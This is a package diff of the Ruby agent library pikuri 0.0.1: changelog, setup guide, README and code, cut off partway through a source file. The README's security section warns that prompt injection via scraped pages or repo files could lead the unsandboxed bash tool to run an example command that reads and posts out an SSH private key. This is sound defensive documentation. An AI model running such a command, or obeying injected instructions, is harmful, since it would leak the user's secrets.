pikuri 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (51) hide show
  1. checksums.yaml +7 -0
  2. data/CHANGELOG.md +62 -0
  3. data/GETTING_STARTED.md +223 -0
  4. data/LICENSE +21 -0
  5. data/README.md +193 -0
  6. data/lib/pikuri/agent/chat_transport.rb +41 -0
  7. data/lib/pikuri/agent/context_window_detector.rb +101 -0
  8. data/lib/pikuri/agent/listener/in_memory_message_list.rb +33 -0
  9. data/lib/pikuri/agent/listener/message_listener.rb +93 -0
  10. data/lib/pikuri/agent/listener/step_limit.rb +97 -0
  11. data/lib/pikuri/agent/listener/terminal.rb +137 -0
  12. data/lib/pikuri/agent/listener/token_log.rb +166 -0
  13. data/lib/pikuri/agent/listener_list.rb +113 -0
  14. data/lib/pikuri/agent/message.rb +61 -0
  15. data/lib/pikuri/agent/synthesizer.rb +120 -0
  16. data/lib/pikuri/agent/tokens.rb +56 -0
  17. data/lib/pikuri/agent.rb +286 -0
  18. data/lib/pikuri/subprocess.rb +166 -0
  19. data/lib/pikuri/tool/bash.rb +272 -0
  20. data/lib/pikuri/tool/calculator.rb +82 -0
  21. data/lib/pikuri/tool/confirmer.rb +96 -0
  22. data/lib/pikuri/tool/edit.rb +196 -0
  23. data/lib/pikuri/tool/fetch.rb +167 -0
  24. data/lib/pikuri/tool/glob.rb +310 -0
  25. data/lib/pikuri/tool/grep.rb +338 -0
  26. data/lib/pikuri/tool/parameters.rb +314 -0
  27. data/lib/pikuri/tool/read.rb +254 -0
  28. data/lib/pikuri/tool/scraper/fetch_error.rb +16 -0
  29. data/lib/pikuri/tool/scraper/html.rb +285 -0
  30. data/lib/pikuri/tool/scraper/pdf.rb +54 -0
  31. data/lib/pikuri/tool/scraper/simple.rb +177 -0
  32. data/lib/pikuri/tool/search/brave.rb +184 -0
  33. data/lib/pikuri/tool/search/duckduckgo.rb +196 -0
  34. data/lib/pikuri/tool/search/engines.rb +154 -0
  35. data/lib/pikuri/tool/search/exa.rb +217 -0
  36. data/lib/pikuri/tool/search/rate_limiter.rb +92 -0
  37. data/lib/pikuri/tool/search/result.rb +29 -0
  38. data/lib/pikuri/tool/skill.rb +80 -0
  39. data/lib/pikuri/tool/skill_catalog.rb +376 -0
  40. data/lib/pikuri/tool/sub_agent.rb +102 -0
  41. data/lib/pikuri/tool/web_scrape.rb +117 -0
  42. data/lib/pikuri/tool/web_search.rb +38 -0
  43. data/lib/pikuri/tool/workspace.rb +150 -0
  44. data/lib/pikuri/tool/write.rb +170 -0
  45. data/lib/pikuri/tool.rb +118 -0
  46. data/lib/pikuri/url_cache.rb +106 -0
  47. data/lib/pikuri/version.rb +10 -0
  48. data/lib/pikuri.rb +165 -0
  49. data/prompts/coding-system-prompt.txt +28 -0
  50. data/prompts/pikuri-chat.txt +15 -0
  51. metadata +259 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 6ce82e87d9498175b524fae4b97d8409758d8fe18783bd7084ae79afd606c56a
4
+ data.tar.gz: a17444b138a83252172ba0bcaa9d99129642cef0be2e1307bcc0b9203092ebb8
5
+ SHA512:
6
+ metadata.gz: 5620bfd3290ea12b6069375382c1e79e769a7a2822d94b91bc166c2d0ac50ea41a2b75fd618ff006ac4500398da05ab9d0f970b123e44ef2a4c6f01e1096dd4d
7
+ data.tar.gz: 995b317bce1952d161c2c4e0088eb92ee9cf7788252c7496949d14633e9126acfc4cedfb7a5f105f9ab4a6e359d63b41cce5d3246cc113d334c07ab259218862
data/CHANGELOG.md ADDED
@@ -0,0 +1,62 @@
1
+ # Changelog
2
+
3
+ All notable changes to pikuri are recorded here. Format follows
4
+ [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); the project
5
+ uses semver as documented in `lib/pikuri/version.rb`.
6
+
7
+ ## [Unreleased]
8
+
9
+ ## [0.0.1] - 2026-05-14 — first packaged release
10
+
11
+ The initial gem release. Pikuri is shipped as a **library** — there are
12
+ no executables installed by `gem install pikuri`. The `bin/pikuri-chat`
13
+ and `bin/pikuri-code` scripts in the source tree are dev/demo entry
14
+ points; production binaries built on pikuri (notably the planned
15
+ `pikuri-tui`) will live in their own downstream gems.
16
+
17
+ ### Added
18
+ - `pikuri.gemspec` with runtime deps pulled from the previous `Gemfile`
19
+ (one source of truth; `Gemfile` now uses `gemspec`).
20
+ - `Pikuri::VERSION` constant (`lib/pikuri/version.rb`); Zeitwerk is
21
+ told to ignore the file since the constant is `VERSION`, not
22
+ `Version`.
23
+ - `LICENSE` (MIT) and gemspec license metadata.
24
+ - `Pikuri::PROMPTS_DIR` and `Pikuri.prompt(name)` — downstream library
25
+ users can read pikuri's bundled system prompts as a starting point
26
+ for their own wiring.
27
+ - `Tool::Bash` emits a loud warning at construction: the tool runs
28
+ commands unsandboxed under pikuri's UID and can read `~/.ssh`, AWS
29
+ credentials, etc. A future release will gate this behind a sandbox.
30
+ - `Pikuri::Tool::SkillCatalog` + `Pikuri::Tool::Skill` — pikuri's
31
+ implementation of the [Agent Skills standard](https://agentskills.io/specification).
32
+ `SkillCatalog` discovers and validates `SKILL.md` files under the
33
+ standard `.pikuri/skills`, `.claude/skills`, `.agents/skills`
34
+ directories (precedence in that order); `Tool::Skill` is auto-
35
+ registered by `Agent#initialize` whenever the wired-in catalog is
36
+ non-empty, and the catalog's prompt block is appended to the system
37
+ prompt so the LLM sees the available inventory without an extra
38
+ round-trip.
39
+ - `mise.toml` pinning Ruby 3.3, matching the gemspec floor.
40
+ - `CHANGELOG.md` (this file).
41
+
42
+ ### Changed
43
+ - **Namespace move.** Top-level `Agent`, `Tool`, and `UrlCache` are now
44
+ `Pikuri::Agent`, `Pikuri::Tool`, `Pikuri::UrlCache`. All bundled
45
+ tools, listeners, and helpers live under `Pikuri::*`. Standard gem
46
+ layout: `lib/pikuri.rb` + `lib/pikuri/**/*.rb`; `spec/` mirrors it.
47
+ - `Pikuri::Agent::Listener::InMemoryList` renamed to `InMemoryMessageList`
48
+ to clarify what it records (message events).
49
+ - `UrlCache::ROOT_DIR` follows the XDG Base Directory spec:
50
+ `$XDG_CACHE_HOME/pikuri/url_cache` if set, else
51
+ `~/.cache/pikuri/url_cache`. Previously `/tmp/pikuri/cache`.
52
+ - `bin/pikuri-chat` and `bin/pikuri-code` read prompts via
53
+ `Pikuri.prompt(name)` instead of hand-rolled `__dir__` arithmetic.
54
+
55
+ ### Project scope
56
+ - Pikuri targets **Linux**; macOS may work; Windows is unsupported.
57
+ Rationale: the eventual Bash-tool sandbox (Docker / bubblewrap) and
58
+ the existing reliance on POSIX shell + GNU coreutils + XDG layout
59
+ make a Windows port more cost than benefit.
60
+ - Hard ceiling on source size: a privacy-conscious user should be able
61
+ to read pikuri end-to-end in an evening and decide whether to trust
62
+ it outside a sandbox. New features compete against that budget.
@@ -0,0 +1,223 @@
1
+ # Getting started with pikuri-chat
2
+
3
+ This guide walks you from a fresh checkout to a working privacy-first
4
+ chatbot running entirely on your own machine. The assumed platform is
5
+ Ubuntu (or another Debian-derived Linux); adapt the package commands if
6
+ you're elsewhere.
7
+
8
+ ## 1. Clone and install
9
+
10
+ ```sh
11
+ git clone https://codeberg.org/mvysny/pikuri.git
12
+ cd pikuri
13
+
14
+ # Ruby 3.x and Bundler. Pikuri has no Rails or native-extension
15
+ # headaches — the stock distro packages are fine.
16
+ sudo apt install ruby ruby-bundler
17
+
18
+ bundle install
19
+ ```
20
+
21
+ That installs all the gems pikuri needs (`ruby_llm`, `faraday`,
22
+ `nokogiri`, `tty-markdown`, …) into your user gem path.
23
+
24
+ ## 2. Try to run pikuri-chat (and watch it fail)
25
+
26
+ ```sh
27
+ ./bin/pikuri-chat "Hello"
28
+ ```
29
+
30
+ You'll see a connection error. That's expected — pikuri-chat ships
31
+ pointed at a local `llama.cpp` server, and you don't have one running
32
+ yet. We'll start one in the next step.
33
+
34
+ This is the privacy property in action: pikuri does not silently fall
35
+ back to a cloud provider. No model means no answer.
36
+
37
+ ## 3. Install llama.cpp
38
+
39
+ `llama.cpp` is the project that actually runs the model. Ubuntu 24.04
40
+ and newer have it packaged:
41
+
42
+ ```sh
43
+ sudo apt install llama.cpp
44
+ ```
45
+
46
+ This gives you `llama-server` on your `$PATH`. If your distro doesn't
47
+ package it, follow the build instructions at
48
+ <https://github.com/ggml-org/llama.cpp> — pikuri only needs the
49
+ `llama-server` binary.
50
+
51
+ ## 4. Start the model
52
+
53
+ The model `bin/pikuri-chat` is wired for is `unsloth/Qwen3.6-35B-A3B-GGUF`
54
+ — a mixture-of-experts model from the Qwen series, quantized by the
55
+ folks at Unsloth so it fits in regular hardware. `llama-server` can
56
+ download it from Hugging Face for you on first run:
57
+
58
+ ```sh
59
+ llama-server \
60
+ -hf unsloth/Qwen3.6-35B-A3B-GGUF \
61
+ --hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf \
62
+ -c 65536 \
63
+ --jinja
64
+ ```
65
+
66
+ What each flag does:
67
+
68
+ - `-hf unsloth/Qwen3.6-35B-A3B-GGUF` — Hugging Face repo to pull from.
69
+ - `--hf-file Qwen3.6-35B-A3B-UD-Q4_K_M.gguf` — pick the
70
+ Q4_K_M quantization (good size/quality tradeoff).
71
+ - `-c 65536` — 64K context window. Pikuri's agent loop accumulates
72
+ tool observations into the context, so headroom matters.
73
+ - `--jinja` — enable Jinja chat templates. The Qwen3 series needs this
74
+ for correct tool-call formatting.
75
+
76
+ **Expect this to be slow on CPU.** A 35B-parameter mixture-of-experts
77
+ model running on CPU can manage a few tokens per second. If you have
78
+ an NVIDIA or AMD GPU with enough VRAM, add `-ngl 99` to offload all
79
+ layers onto the GPU — this is the single biggest speedup you can get.
80
+ See `llama-server --help` and the
81
+ [llama.cpp docs](https://github.com/ggml-org/llama.cpp/tree/master/tools/server)
82
+ for tuning options (`-t` for thread count, `-ngl N` for partial GPU
83
+ offload, `--mlock`, and friends).
84
+
85
+ The server binds to `127.0.0.1:8080` by default, and `bin/pikuri-chat`
86
+ is wired to `http://localhost:8080/v1` — so if you're running both on
87
+ the same machine, no further configuration is needed. If your
88
+ `llama-server` lives on another host, edit the `openai_api_base`
89
+ string near the top of `bin/pikuri-chat` to match.
90
+
91
+ ## 5. Talk to it
92
+
93
+ In a second terminal, leaving `llama-server` running:
94
+
95
+ ```sh
96
+ ./bin/pikuri-chat
97
+ ```
98
+
99
+ You'll get a `>` prompt. Try something the model can't answer from
100
+ memory alone — that's where the tools come in:
101
+
102
+ ```
103
+ > What is 1837 * 4291, and what's the current Ruby stable version?
104
+ ```
105
+
106
+ You should see the model emit reasoning, call the `calculator` tool
107
+ for the multiplication, call `web_search` (and likely `web_scrape`)
108
+ for the Ruby version, then reply in plain text. Use Ctrl+D or Ctrl+C
109
+ to exit.
110
+
111
+ ## How the agentic loop works (and why it's private)
112
+
113
+ Pikuri runs the standard *Thought → Tool-call → Observation* loop:
114
+
115
+ 1. The model receives your message plus the running conversation.
116
+ 2. It produces either a final answer (and the turn ends) or a tool
117
+ call — a structured request like *"call `web_search` with query
118
+ `…`"*.
119
+ 3. Pikuri executes the requested tool locally, capturing its output as
120
+ an *observation*.
121
+ 4. The observation is appended to the conversation and the model is
122
+ called again.
123
+
124
+ The model itself runs entirely inside your `llama-server` process. It
125
+ has **no network access** of its own — it can only reason and emit
126
+ text. The single way information leaves your machine is when the model
127
+ asks pikuri to call a network-touching tool, and pikuri actually
128
+ performs that call on your behalf. If you never give the model network
129
+ tools, nothing the model "thinks about" can ever leave the box.
130
+
131
+ This is meaningfully stronger than the typical hosted-assistant
132
+ arrangement: there is no provider receiving your prompts, no telemetry
133
+ pipeline, and no fine-tuning corpus being assembled from your chats.
134
+
135
+ If you'd like to *see* this loop implemented in a handful of files
136
+ with nothing else in the way, the sister project
137
+ [agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo) is
138
+ written exactly for that. Pikuri uses the same shape, just wrapped in
139
+ tools, listeners, and sub-agents.
140
+
141
+ ## What tools `bin/pikuri-chat` ships with
142
+
143
+ Four tools, all defined in `lib/pikuri/tool/` and wired in `bin/pikuri-chat`:
144
+
145
+ - **`calculator`** — evaluates an arithmetic expression with Dentaku.
146
+ Local, no network.
147
+ - **`web_search`** — runs a search query through one of the configured
148
+ search providers and returns a Markdown list of titles, URLs, and
149
+ snippets. See below for the privacy posture of each provider.
150
+ - **`web_scrape`** — fetches an HTML page or PDF, strips the chrome
151
+ with readability extraction, and returns the main content as
152
+ Markdown. The model typically chains `web_search` → pick a URL →
153
+ `web_scrape` to read the full article.
154
+ - **`fetch`** — downloads a URL verbatim (JSON, CSV, robots.txt,
155
+ source files) without any rendering pass that would corrupt the
156
+ bytes.
157
+
158
+ Plus a built-in *sub-agent* facility (enabled by
159
+ `agent.allow_sub_agent`): the model can dispatch a focused side-quest
160
+ to a fresh agent so the noisy intermediate observations don't pollute
161
+ the main context.
162
+
163
+ ## Search providers and their privacy trade-offs
164
+
165
+ `web_search` is a cascade across whichever providers you have
166
+ configured. The orchestration lives in `lib/pikuri/tool/search/engines.rb`;
167
+ each provider's privacy posture is documented in detail at the top of
168
+ its source file.
169
+
170
+ ### DuckDuckGo (default, no setup)
171
+
172
+ Always available — no API key, no registration. Pikuri scrapes the
173
+ public HTML endpoint at `html.duckduckgo.com`. DuckDuckGo's policy is
174
+ that they don't save your IP alongside searches, don't sell personal
175
+ information, and proxy the request so downstream content providers
176
+ can't profile you. The catch: DDG is largely a relay over Bing for
177
+ web results, so the *query content* still reaches Microsoft for
178
+ fulfillment, even though identifying info is stripped on the way out.
179
+
180
+ Good enough for everyday curiosity. See
181
+ `lib/pikuri/tool/search/duckduckgo.rb` for the full write-up.
182
+
183
+ ### Brave Search API (recommended for sensitive queries)
184
+
185
+ The best privacy posture of the three. Brave does **not** train its
186
+ models on your queries, does not link queries to identifiers, and
187
+ retains query logs for 90 days by default (Zero Data Retention is
188
+ available on their Enterprise plan).
189
+
190
+ To enable it, register for a free API key at
191
+ <https://api-dashboard.search.brave.com> — the "Data for Search" tier
192
+ gives you 1 query/sec and ~2k queries/month at no cost. Then export
193
+ the key before starting pikuri:
194
+
195
+ ```sh
196
+ export BRAVE_SEARCH_API_KEY=your-key-here
197
+ ./bin/pikuri-chat
198
+ ```
199
+
200
+ Once the env var is set, Brave joins the cascade and may be chosen
201
+ over DuckDuckGo for any given query. See `lib/pikuri/tool/search/brave.rb`.
202
+
203
+ ### Exa (paid, weakest privacy)
204
+
205
+ Optional. Exa is a paid neural-search API; activate it by setting
206
+ `EXA_API_KEY`. Be aware that Exa's Terms grant them a
207
+ *perpetual, irrevocable, sub-licensable* license over the queries you
208
+ submit, and their privacy policy explicitly says queries are used for
209
+ training. Don't enable Exa if your search history would be
210
+ embarrassing or sensitive in a training set.
211
+
212
+ See `lib/pikuri/tool/search/exa.rb` for the full privacy posture.
213
+
214
+ ### Recommended setup for best privacy
215
+
216
+ 1. Run `llama-server` locally (Step 4 above).
217
+ 2. Register a free Brave Search API key and `export
218
+ BRAVE_SEARCH_API_KEY=…`.
219
+ 3. Leave Exa unset.
220
+
221
+ With this configuration, your prompts never leave your machine, and
222
+ your search queries hit Brave under a clear no-training-on-queries
223
+ commitment.
data/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2026 Martin Vysny
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in
13
+ all copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21
+ THE SOFTWARE.
data/README.md ADDED
@@ -0,0 +1,193 @@
1
+ # pikuri
2
+
3
+ A small Ruby AI assistant you run on your own machine. `bin/pikuri-chat`
4
+ is a general-purpose chatbot with a calculator, web search, web
5
+ scraping, and a fetch tool — wired by default to a
6
+ [llama.cpp](https://github.com/ggml-org/llama.cpp) server running
7
+ locally, so the conversation never leaves your computer unless the
8
+ model itself decides to call a tool.
9
+
10
+ ## Quick start
11
+
12
+ ```sh
13
+ git clone https://codeberg.org/mvysny/pikuri.git
14
+ cd pikuri
15
+
16
+ # Ruby 3.x + bundler (Ubuntu/Debian)
17
+ sudo apt install ruby ruby-bundler
18
+
19
+ bundle install
20
+
21
+ ./bin/pikuri-chat "What is 17 * 23?"
22
+ ```
23
+
24
+ The first run won't get far — pikuri-chat needs a model behind it. See
25
+ [GETTING_STARTED.md](GETTING_STARTED.md) for the full walkthrough:
26
+ installing `llama.cpp`, pulling a model, starting `llama-server`, and
27
+ asking your first question.
28
+
29
+ ## Using pikuri as a library
30
+
31
+ Pikuri is shipped as a Ruby gem you can use in your own project. The
32
+ recommended path: **first** play with `bin/pikuri-chat`, inspect the
33
+ sources, get a feel for the shape — *then* pull pikuri into your
34
+ project as a library:
35
+
36
+ ```ruby
37
+ # In your Gemfile
38
+ gem 'pikuri'
39
+ ```
40
+
41
+ A minimal wiring — single agent, default `llama.cpp` transport, the
42
+ bundled calculator + web-search tools, the same system prompt
43
+ `pikuri-chat` uses:
44
+
45
+ ```ruby
46
+ require 'pikuri'
47
+
48
+ RubyLLM.configure do |c|
49
+ c.openai_api_base = 'http://localhost:8080/v1' # llama.cpp default
50
+ c.openai_api_key = 'not-needed'
51
+ end
52
+
53
+ agent = Pikuri::Agent.new(
54
+ transport: Pikuri::Agent::ChatTransport.new(
55
+ model: 'unsloth/Qwen3.6-35B-A3B-GGUF',
56
+ provider: :openai,
57
+ assume_model_exists: true
58
+ ),
59
+ system_prompt: Pikuri.prompt(:'pikuri-chat'),
60
+ tools: [Pikuri::Tool::CALCULATOR, Pikuri::Tool::WEB_SEARCH],
61
+ listeners: Pikuri::Agent::ListenerList.new([
62
+ Pikuri::Agent::Listener::Terminal.new,
63
+ Pikuri::Agent::Listener::StepLimit.new(max: 20)
64
+ ])
65
+ )
66
+
67
+ agent.run_loop(user_message: 'What is 17 * 23?')
68
+ ```
69
+
70
+ `bin/pikuri-chat` and `bin/pikuri-code` in this repo are the canonical
71
+ working examples — they're dev/demo scripts (not installed by
72
+ `gem install pikuri`), but they're the easiest place to crib wiring
73
+ from. The bundled system prompts under `prompts/` are loadable as a
74
+ starting point via `Pikuri.prompt(name)`.
75
+
76
+ ## Why this exists
77
+
78
+ The existing self-hosted agent stacks have grown big and now have a
79
+ steep learning curve — a privacy-conscious user arriving fresh hits a
80
+ wall of JSON configuration before the first conversation. Pikuri is
81
+ the deliberate counter-move:
82
+
83
+ - **Privacy-first.** Defaults wire a local `llama.cpp` server. No
84
+ cloud account, no API key, no telemetry, no request leaving the
85
+ machine — unless you explicitly opt in by configuring an external
86
+ provider, or the model calls a network tool like `web_search`.
87
+ - **Simple.** Two short scripts, sane defaults, no config file required
88
+ to get the first conversation going.
89
+ - **Gentle learning curve.** Defaults work without a config file. The
90
+ surface area grows as you grow into it: start by chatting, then add
91
+ a search API key when you want better results, then edit the system
92
+ prompt when you want to specialise behaviour.
93
+ - **Teaches you how to use it.** [GETTING_STARTED.md](GETTING_STARTED.md)
94
+ walks you from zero — a fresh checkout, no model running — to a
95
+ working personal assistant: installing the local model server,
96
+ asking your first question, understanding what each bundled tool
97
+ does, and choosing a search backend that matches your privacy
98
+ comfort level.
99
+
100
+ ## Curious how the agentic loop actually works?
101
+
102
+ Pikuri sits on top of [ruby_llm](https://rubyllm.com), which owns the
103
+ Thought → Tool-call → Observation loop. If you want to *learn* how
104
+ that loop works internally — minimal code, no extension surface,
105
+ nothing to wade through — read
106
+ [agentic-loop-demo](https://codeberg.org/mvysny/agentic-loop-demo).
107
+ It's the same author's small didactic project, written precisely so
108
+ the source is the lesson. Pikuri is the production-shaped sibling:
109
+ same loop, plus tools, listeners, sub-agents, and ergonomics.
110
+
111
+ # More Substance
112
+
113
+ pikuri-chat builds your understanding of pikuri underpinnings, but it's just a toy.
114
+ The real fun begins now.
115
+
116
+ ## pikuri-code
117
+
118
+ An in-repo coding agent in the spirit of Claude Code, opencode, or
119
+ pi-code — but kept deliberately small so you can read the sources in
120
+ an evening. Wire-by-wire it's the same `Pikuri::Agent` as
121
+ `pikuri-chat`, with a different system prompt and a different toolset:
122
+ `read`, `write`, `edit`, `grep`, `glob`, `bash`, plus the web tools
123
+ and the calculator. Sub-agents are enabled, and any
124
+ [Agent Skills](https://agentskills.io/specification) discovered under
125
+ `.pikuri/skills`, `.claude/skills`, `.agents/skills` (project or home)
126
+ get exposed to the model on demand.
127
+
128
+ Run it from the root of the repo you want it to work in:
129
+
130
+ ```sh
131
+ cd ~/code/your-project
132
+ /path/to/pikuri/bin/pikuri-code
133
+ ```
134
+
135
+ You'll land in a REPL — type a request at the `>` prompt, hit enter,
136
+ and the agent will start reading files, running commands, and editing
137
+ code to satisfy it. Ctrl+D (or Ctrl+C) exits. You can also pass an
138
+ initial message on the command line:
139
+
140
+ ```sh
141
+ /path/to/pikuri/bin/pikuri-code "find the failing spec and fix it"
142
+ ```
143
+
144
+ The first time the agent wants to write a file or run a shell command,
145
+ it prompts you on the terminal (`(y/n)?`). Read what it's about to do
146
+ before you say yes. If an `AGENTS.md` or `CLAUDE.md` exists at the
147
+ workspace root, it's prepended to the system prompt as project
148
+ context.
149
+
150
+ ### Security: this is a tech demo, treat it accordingly
151
+
152
+ **Do not run `pikuri-code` against a sensitive checkout on a machine
153
+ that holds secrets you care about.** It is a working demo of the
154
+ coding-agent shape, *not* a hardened tool. The threat model has
155
+ glaring holes:
156
+
157
+ - **No sandbox.** The `bash` tool runs commands as your user, with
158
+ your environment, your `$HOME`, your `~/.ssh`, your shell history,
159
+ your browser cookies, your cloud CLI credentials — all reachable.
160
+ An LLM that's been prompt-injected (e.g. by a malicious README it
161
+ scraped, a poisoned dependency, or a crafted file in the repo) can
162
+ ask to run `cat ~/.ssh/id_ed25519 | curl -X POST ...` and the only
163
+ thing standing between that and exfiltration is *you* reading the
164
+ confirmation prompt carefully. The workspace lock applies to
165
+ pikuri's own `read`/`write`/`edit`/`grep`/`glob` tools — it does
166
+ **not** apply to `bash`, which can `cat`, `cp`, `scp`, `curl`
167
+ anything the OS lets your user touch.
168
+ - **`--yolo` auto-approves everything.** That flag exists for use
169
+ *inside* a disposable container or VM. Running `--yolo` on your
170
+ laptop is equivalent to handing the model a root shell. Don't.
171
+ - **Network tools fetch arbitrary URLs.** `web_search`, `web_scrape`,
172
+ and `fetch` are happy to pull whatever the model asks for, and the
173
+ content of those pages then becomes part of the conversation —
174
+ classic indirect prompt-injection surface.
175
+ - **No audit log of approved actions.** Once you approve a `bash`
176
+ command it runs; there's no separate record beyond your scrollback.
177
+
178
+ In short: run it inside a Docker container, a dev container, a VM, a
179
+ fresh user account — anywhere you'd be fine with a stranger having a
180
+ shell. The sandboxing story is a known gap and tracked as future
181
+ work (see `IDEAS.md`); until it lands, **assume the agent can do
182
+ anything your user can do**, and approve prompts on that basis.
183
+
184
+ ## pikuri-assistant
185
+
186
+ Has access to your private documents, can read and respond to e-mails, remembers
187
+ stuff. TODO implemented in the future.
188
+
189
+ ## Tests
190
+
191
+ ```sh
192
+ bundle exec rspec
193
+ ```
@@ -0,0 +1,41 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Pikuri
4
+ class Agent
5
+ # The trio of arguments that has to travel together to +RubyLLM.chat+
6
+ # for model resolution to come out the same on every construction:
7
+ # the model id, the provider hint, and the registry-bypass flag.
8
+ #
9
+ # Bundling them is structural protection against a recurring bug
10
+ # class — every forwarding site (the synthesizer rescue in
11
+ # {Agent#run_loop}, {Tool::SubAgent} spawning a sub-agent) used to
12
+ # pass the three individually, and dropping one routed the spawned
13
+ # chat to a different server or raised +RubyLLM::ModelNotFoundError+
14
+ # on the unknown model id. With a single value object the call site
15
+ # can't silently miss a field.
16
+ #
17
+ # Pure data carrier: no +RubyLLM+ references here, so the seam stays
18
+ # in {Agent}, +bin/pikuri-chat+, and {Tool}.
19
+ #
20
+ # @!attribute [r] model
21
+ # @return [String, nil] LLM identifier; +nil+ defers to
22
+ # +RubyLLM.config.default_model+ at {Agent} construction time
23
+ # @!attribute [r] provider
24
+ # @return [Symbol, nil] forwarded to +RubyLLM.chat+. Required
25
+ # together with +assume_model_exists+ when pointing at a local
26
+ # OpenAI-compatible server (llama.cpp, gpustack, ...) whose model
27
+ # ids are not in ruby_llm's bundled registry.
28
+ # @!attribute [r] assume_model_exists
29
+ # @return [Boolean] forwarded to +RubyLLM.chat+; +true+ skips
30
+ # ruby_llm's registry lookup and trusts the supplied model id.
31
+ # Requires +provider+.
32
+ class ChatTransport < Data.define(:model, :provider, :assume_model_exists)
33
+ # @param model [String, nil]
34
+ # @param provider [Symbol, nil]
35
+ # @param assume_model_exists [Boolean]
36
+ def initialize(model:, provider: nil, assume_model_exists: false)
37
+ super
38
+ end
39
+ end
40
+ end
41
+ end
@@ -0,0 +1,101 @@
1
+ # frozen_string_literal: true
2
+
3
+ require 'faraday'
4
+ require 'json'
5
+
6
+ module Pikuri
7
+ class Agent
8
+ # Resolves the model's context-window cap from three sources, in order:
9
+ # an explicit override, the value ruby_llm reports for the model, or a
10
+ # llama.cpp +/props+ probe. Returns +nil+ if none of those produce a
11
+ # value.
12
+ #
13
+ # Used by {Agent#initialize} at construction time to feed
14
+ # {Listener::TokenLog} a cap it can render alongside the running
15
+ # context size (so the +ctx=12.2k/32.0k+ line tells the operator how
16
+ # close the conversation is to the limit).
17
+ #
18
+ # == Precedence
19
+ #
20
+ # 1. +override+ — the +Agent.new(context_window:)+ kwarg. Wins over
21
+ # everything; an explicit value is the operator's statement of
22
+ # truth.
23
+ # 2. +ruby_llm_reported+ — +RubyLLM::Model::Info#context_window+ from
24
+ # {Agent#chat}'s resolved model. Populated for models in ruby_llm's
25
+ # bundled registry (OpenAI, Anthropic, Gemini, …); +nil+ for custom
26
+ # local model ids that fall through to +Model::Info.default+.
27
+ # 3. +llama_probe_url+ — HTTP GET against llama.cpp's non-standard
28
+ # +/props+ endpoint. The server exposes the launched +n_ctx+ at
29
+ # +default_generation_settings.n_ctx+ there. Probed only when the
30
+ # first two are +nil+. Provider-specific to llama.cpp; the caller
31
+ # (typically +bin/pikuri-chat+) derives the right URL from its configured
32
+ # base.
33
+ #
34
+ # == Failure handling
35
+ #
36
+ # The probe is best-effort. HTTP error, timeout, non-JSON body, or a
37
+ # missing/invalid +n_ctx+ field all return +nil+ and log one +warn+
38
+ # line via +Pikuri.logger_for('ContextWindowDetector')+. This is the
39
+ # CLAUDE.md "secondary to the loop" carve-out — a wedged or
40
+ # non-llama.cpp server should not abort agent construction over a
41
+ # cosmetic readout.
42
+ class ContextWindowDetector
43
+ LOGGER = Pikuri.logger_for('ContextWindowDetector')
44
+
45
+ # Probe timeouts in seconds. Short on purpose: this runs synchronously
46
+ # during +Agent.new+ and a wedged server should not stall startup
47
+ # noticeably.
48
+ OPEN_TIMEOUT = 2
49
+ READ_TIMEOUT = 2
50
+
51
+ # @param override [Integer, nil] explicit cap from the caller; wins if
52
+ # non-+nil+
53
+ # @param ruby_llm_reported [Integer, nil] value off
54
+ # +RubyLLM::Chat#model.context_window+
55
+ # @param llama_probe_url [String, nil] full URL to llama.cpp +/props+;
56
+ # +nil+ or empty string skips the probe
57
+ def initialize(override:, ruby_llm_reported:, llama_probe_url:)
58
+ @override = override
59
+ @ruby_llm_reported = ruby_llm_reported
60
+ @llama_probe_url = llama_probe_url
61
+ end
62
+
63
+ # @return [Integer, nil] resolved cap, or +nil+ if no source produced
64
+ # one
65
+ def detect
66
+ return @override if @override
67
+ return @ruby_llm_reported if @ruby_llm_reported
68
+ return nil if @llama_probe_url.nil? || @llama_probe_url.empty?
69
+
70
+ probe_llama_cpp
71
+ end
72
+
73
+ private
74
+
75
+ def probe_llama_cpp
76
+ response = Faraday.new(
77
+ request: { open_timeout: OPEN_TIMEOUT, timeout: READ_TIMEOUT }
78
+ ).get(@llama_probe_url) do |req|
79
+ req.headers['Accept'] = 'application/json'
80
+ end
81
+
82
+ return warn_and_nil("HTTP #{response.status} from #{@llama_probe_url}") unless response.status == 200
83
+
84
+ data = JSON.parse(response.body)
85
+ n_ctx = data.dig('default_generation_settings', 'n_ctx')
86
+ return n_ctx if n_ctx.is_a?(Integer) && n_ctx.positive?
87
+
88
+ warn_and_nil(
89
+ "no positive integer at default_generation_settings.n_ctx in #{@llama_probe_url} response"
90
+ )
91
+ rescue Faraday::Error, JSON::ParserError => e
92
+ warn_and_nil("#{e.class.name.split('::').last}: #{e.message}")
93
+ end
94
+
95
+ def warn_and_nil(reason)
96
+ LOGGER.warn("llama.cpp /props probe failed: #{reason}")
97
+ nil
98
+ end
99
+ end
100
+ end
101
+ end
@@ -0,0 +1,33 @@
1
+ # frozen_string_literal: true
2
+
3
+ module Pikuri
4
+ class Agent
5
+ module Listener
6
